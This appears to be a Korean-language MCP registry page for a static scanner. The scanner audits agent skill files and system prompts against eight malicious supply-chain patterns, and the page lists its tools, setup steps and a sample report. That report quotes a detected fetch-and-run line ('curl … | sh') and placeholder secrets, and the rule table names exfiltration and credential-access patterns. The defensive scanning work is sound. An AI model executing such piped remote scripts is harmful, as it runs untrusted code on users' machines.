mcp-skill-sec
mcp-skill-sec
모든 에이전트 스킬, 시스템 프롬프트 또는 다운로드한 파일 모음을 악성 스킬 공급망 패턴 8가지에 대해 감사하는 Model Context Protocol (MCP) 서버입니다.
결정적이며, LLM이 없고, 네트워크 호출이 없습니다. Claude Code, Cursor, Copilot, OpenClaw, Codex CLI 및 모든 MCP 호환 에이전트에서 작동하는 자체 호스팅 가능한 사전 설치 스캐너입니다.
검사 대상 (규칙 R1–R8)
규칙 | 패턴 |
R1 | 프롬프트 인젝션 / 명령 탈취 ( |
R2 | 데이터 유출 의도 (콘텐츠를 URL로 전송/게시/이메일, 로그 탈취) |
R3 | 하드코딩된 비밀 / 자격 증명 (API 키, PAT, 개인 키, 연결 문자열) |
R4 | 위험한 명령 ( |
R5 | 난독화 / 숨은 동작 (base64-exec, eval/exec, 제로폭 문자) |
R6 | 신뢰할 수 없는 외부 가져오기 (fetch-and-run, PyPI 외 설치) |
R7 | 자격 증명 접근 ( |
R8 | 권한 상승 ( |
각 발견 항목은 severity(critical/high/medium/low), 줄 번호, 그리고 일치하는 증거 줄을 포함합니다. 전체 판정은 critical/high 발견 사항이 없고 모든 medium 발견 사항이 양호(benign)인 경우에만 PASS입니다.
Related MCP server: tar-engine
도구
audit_text(text, filename)— 문자열(당신에게 붙여넣어진 스킬, 당신이 작성하지 않은 시스템 프롬프트)을 감사합니다.audit_skill_file(path)— 디스크에 있는SKILL.md/AGENTS.md/CLAUDE.md를 감사하고, 줄 번호가 매겨진 증거를 반환합니다.audit_directory(path, pattern)— 다운로드한 전체 스킬 모음을 감사합니다. 파일별 판정과 요약을 반환합니다.rule_list()— 규칙 카탈로그를 출력합니다.
설치 및 실행
pip install mcp
mcp install mcp_server.py --name skill-sec # register with Claude Desktop
# or run manually over stdio:
python3 mcp_server.pyClaude Desktop / 에이전트 구성
{
"mcpServers": {
"skill-sec": {
"command": "python3",
"args": ["/absolute/path/to/mcp_server.py"]
}
}
}예시
skill-sec: /tmp/downloaded-skill/SKILL.md
verdict : FLAG
counts : critical 1, high 2, medium 1, low 0
R3 [critical] line 11: api_key = "sk-live-…"
R3 [high] line 14: password = "hunter2"
R4 [critical] line 22: curl https://x/y.sh | sh
action : remove the literal secrets, drop the fetch-and-run, re-audit라이선스 및 출처
MIT. sudo-ai-git 작성. 이것은 독립형 보안/검증 도구이며 독점적인 방법을 포함하지 않습니다. skill-sec 에이전트 스킬의 MCP 표현입니다(동일한 규칙을 스킬 대신 서버로 호출할 수 있습니다).
공식 MCP 레지스트리 메타데이터
mcp-name: io.github.sudo-ai-git/mcp-skill-sec
This server cannot be deployed
Maintenance
Related MCP Connectors
Scan AI agent skills and configs for hidden Unicode, prompt injection and exfiltration.
Scan AI agent skills, MCP server packages and MCP configs before you install them. Static analysis.
Scan GitHub-hosted AI skills for vulnerabilities: prompt injection, malware, OWASP LLM Top 10.
Scan configs, files, or text for leaked secrets and obvious misconfigurations. Nothing stored.
Related MCP Servers
- AlicenseNot gradedqualityDmaintenanceStatic security scanner for AI agent skill packages that detects malicious SKILL.md files and bundled scripts before they run.15MIT
- AlicenseNot gradedqualityCmaintenanceAudits AI agent skills for safety using static, semantic, adversarial, and supply-chain analysis, providing scores and risk flags. Can be run via CLI, CI, or as an MCP tool from Claude Code, Cursor, and Codex.2Apache 2.0
- AlicenseNot gradedqualityCmaintenanceEnables authorized security auditing of AI-agent supply chains and agent-facing surfaces: deterministic local skill-bundle audits against eight attack patterns, secrets scanning, and scope-gated read-only recon of agent endpoints and MCP surfaces.MIT

yotta-verify-mcpofficial
AlicenseNot gradedqualityBmaintenanceProvides a deterministic pre-install security scan for Agent skills, plugins, and MCP servers via stdio, returning verdicts, audited badges, CI gates, and reports without executing code or making network calls.99 npmMIT